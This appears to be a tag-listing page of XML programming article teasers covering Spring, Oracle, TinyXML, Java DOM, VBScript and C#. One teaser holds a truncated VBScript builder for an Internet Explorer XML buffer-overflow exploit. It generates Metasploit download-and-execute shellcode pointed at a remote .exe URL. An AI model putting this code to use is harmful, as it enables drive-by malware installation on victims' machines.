Tag:xml

  • Example of loading xml resources with classpathresource in spring

    Time:2021-1-20

    This article illustrates how spring uses classpathresource to load XML resources. The details are as follows: One code package lee; import org.springframework.core.io.ClassPathResource; import org.dom4j.*; import org.dom4j.io.*; import java.util.*; import java.util.*; public class ClassPathResourceTest { public static void main(String[] args) throws Exception { //Create a resource object and read the resource from the class loading path […]

  • Introduction of XML processing function in Oracle

    Time:2020-11-19

    1. EXTRACT(XMLType_instance,Xpath_string) This function is used to return the corresponding content under the XML node path Example: Copy codeThe code is as follows: SELECT extract(value(a),’/root/main’) data FROM xmltable a ; 2. EXTRACTVALUE(XMLType_instance,Xpath_string) This function returns data for a specific XML node path Example: Copy codeThe code is as follows: Select extractvalue (value (a), ‘/ root […]

  • Spring configuration bean process based on XML file

    Time:2020-10-17

    This article mainly introduces the spring based on XML file configuration bean process detailed explanation, the article through the example code introduction is very detailed, to everybody’s study or the work has certain reference study value, needs the friend may refer to Configure by full class name: Class: the full class name of the bean. […]

  • Parsing XML files with tinyxml in C + +

    Time:2020-9-2

    Tinyxml introduction Recently, a small load balancing project needs to parse the XML configuration file. Tinyxml is used, which makes it easy to use. A simple example of using tinyxml for XML parsing is given. Many complex applications can be completed based on this example. Tinyxml is an open source XML parsing library, which can […]

  • Java DOM parsing XML file process

    Time:2020-8-1

    This article mainly introduces the Java DOM parsing XML file process in detail, the article through the example code introduction is very detailed, to everyone’s study or work has certain reference learning value, need friends can refer to The code is as follows import java.io.IOException; import javax.xml.parsers.*; import org.w3c.dom.Document; import org.w3c.dom.Element; import org.w3c.dom.NamedNodeMap; import org.w3c.dom.Node; […]

  • Example of using XML to manage declarative transaction operation in spring

    Time:2020-7-22

    In this paper, an example is given to show how spring manages declarative transaction operations by XML. For your reference, the details are as follows: 1. Configuration file <?xml version=”1.0″ encoding=”GBK”?> <beans xmlns:xsi=”http://www.w3.org/2001/XMLSchema-instance” xmlns=”http://www.springframework.org/schema/beans” xmlns:p=”http://www.springframework.org/schema/p” xmlns:aop=”http://www.springframework.org/schema/aop” xmlns:tx=”http://www.springframework.org/schema/tx” xsi:schemaLocation=”http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans-4.0.xsd http://www.springframework.org/schema/aop http://www.springframework.org/schema/aop/spring-aop-4.0.xsd http://www.springframework.org/schema/tx http://www.springframework.org/schema/tx/spring-tx-4.0.xsd”> <! — define the data source bean, implement it with c3p0 data […]

  • Taking XML file as a small database is a simple example of students’ adding, deleting, modifying and checking

    Time:2020-6-30

    1. XML file: <?xml version=”1.0″ encoding=”UTF-8″?><Students> <student> <name>ttt</name> <age>44</age> </student> <student> <name>linda2</name> <age>22</age> </student> <student> <name>linda3</name> <age>23</age> </student> <student> <name>jack</name> <age>2</age> </student> <student> <name>yyh1</name> <age>22</age> </student> </Students> 2. Java code import java.io.File; import java.io.IOException; import java.util.Scanner; import javax.xml.parsers.ParserConfigurationException; import javax.xml.transform.Transformer; import javax.xml.transform.TransformerConfigurationException; import javax.xml.transform.TransformerException; import javax.xml.transform.TransformerFactory; import javax.xml.transform.TransformerFactoryConfigurationError; import javax.xml.transform.dom.DOMSource; import javax.xml.transform.stream.StreamResult; import org.w3c.dom.Document; import […]

  • The difference of HTML, XHTML and XML

    Time:2020-6-6

    Development trend: HTML (Hypertext Markup Language) – XHTML (Extensible HyperText Markup Language) – XML (Extensible Markup Language); html: 1. Insensitive to case; 2. Labels do not need to appear in pairs; 3.<br>; xhtml: 1. It is case sensitive and must be lowercase; 2. The labels must appear in pairs. If there is a start label, […]

  • MS Internet Explorer XML parsing buffer overflow exploit (Vista) 0day

    Time:2020-4-28

    ‘code by lcx On Error Resume Next Exeurl = InputBox (“please enter the address of exe:”, “input”, “http://www.haiyangtop.net/333.exe”)url=”http://www.metasploit.com:55555/PAYLOADS?parent=GLOB%280x25bfa38%29&MODULE=win32_downloadexec&MODE=GENERATE&OPT_URL=”&URLEncoding(Exeurl)&”&MaxSize=&BadChars=0x00+&ENCODER=default&ACTION=Generate+Payload” Body = getHTTPPage(url) Set Re = New RegExp Re.Pattern = “(\$shellcode \=[\s\S]+</div></pre>)” Set Matches = Re.Execute(Body) If Matches.Count>0 Then Body = Matches(0).value code=Trim(Replace(Replace(replace(Replace(Replace(Replace(Replace(Body,”$shellcode =”,””),Chr(34),””),Chr(13),””),”;”,””),”</div></pre>”,””),Chr(10),””),”.”,””)) function replaceregex(str) set regex=new regExp regex.pattern=”\\x(..)\\x(..)” regex.IgnoreCase=true regex.global=true matches=regex.replace(str,”%u$2$1″) replaceregex=matches end Function Function […]

  • VBScript reading configuration file in XML format

    Time:2020-4-23

    Copy codeThe code is as follows: Class clsGetProfile ‘ ルートドキュメント Private rootDoc ‘XML ぱ ァイルとセクションをセットする‘argument:’ 1 ‘name not null‘why: whyPublic Sub setProfile(strFileName) Set data_xml = CreateObject(“Microsoft.XMLDOM”) data_xml.async = False data_xml.load(strFileName) Set rootDoc = data_xml.documentElement End Sub ‘we should take measures against the acquisition of foreign capital‘argument:’ 1 ‘キ name not null‘”2″ セ ク シ ョ […]

  • C ා use XmlDocument or xdocument to create XML file

    Time:2020-4-22

    Create an XML file using XmlDocument or xdocument as follows Reference required: system.xml; system.xml.linq; 1. Create XML with XmlDocument (introduction case) static void Main(string[] args) { //Creating XML with XmlDocument XmlDocument xmldoc = new XmlDocument(); XmlDeclaration xmldec = xmldoc.CreateXmlDeclaration(“1.0”, “utf-8”, “yes”); xmldoc.AppendChild(xmldec); //Add root node XmlElement rootElement = xmldoc.CreateElement(“school”); xmldoc.AppendChild(rootElement); //Add root node下的子节点元素 XmlElement classElement […]